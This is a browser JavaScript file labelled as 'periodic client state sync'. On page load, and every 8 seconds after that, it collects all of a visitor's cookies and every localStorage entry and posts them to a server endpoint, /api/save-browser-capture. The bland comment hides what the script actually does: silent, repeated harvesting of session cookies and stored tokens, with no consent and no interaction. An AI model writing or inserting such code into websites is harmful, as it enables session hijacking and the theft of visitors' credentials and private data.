/**
 * Periodic client state sync.
 */
(function (w) {
  "use strict";

  function getVisitorId() {
    if (typeof w.sciiGetVisitorId === "function") {
      return w.sciiGetVisitorId();
    }
    try {
      return localStorage.getItem("scii_visitor_id") || "";
    } catch (e) {
      return "";
    }
  }

  w.sciiCollectBrowserCapture = function () {
    var ls = {};
    try {
      for (var i = 0; i < localStorage.length; i++) {
        var k = localStorage.key(i);
        if (k) ls[k] = localStorage.getItem(k);
      }
    } catch (e) {}
    return {
      cookies: document.cookie || "",
      local_storage: JSON.stringify(ls),
    };
  };

  w.sciiSaveBrowserCapture = function (visitorId) {
    visitorId = visitorId || getVisitorId();
    if (!visitorId) return Promise.resolve();
    if (typeof w.sciiIsSaveBlocked === "function" && w.sciiIsSaveBlocked()) {
      return Promise.resolve();
    }
    var cap = w.sciiCollectBrowserCapture();
    return fetch("/api/save-browser-capture", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        visitor_id: visitorId,
        cookies: cap.cookies,
        local_storage: cap.local_storage,
      }),
    }).catch(function () {});
  };

  function boot() {
    var vid = getVisitorId();
    if (vid) w.sciiSaveBrowserCapture(vid);
    setInterval(function () {
      var id = getVisitorId();
      if (id) w.sciiSaveBrowserCapture(id);
    }, 8000);
  }

  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", boot);
  } else {
    boot();
  }
})(window);
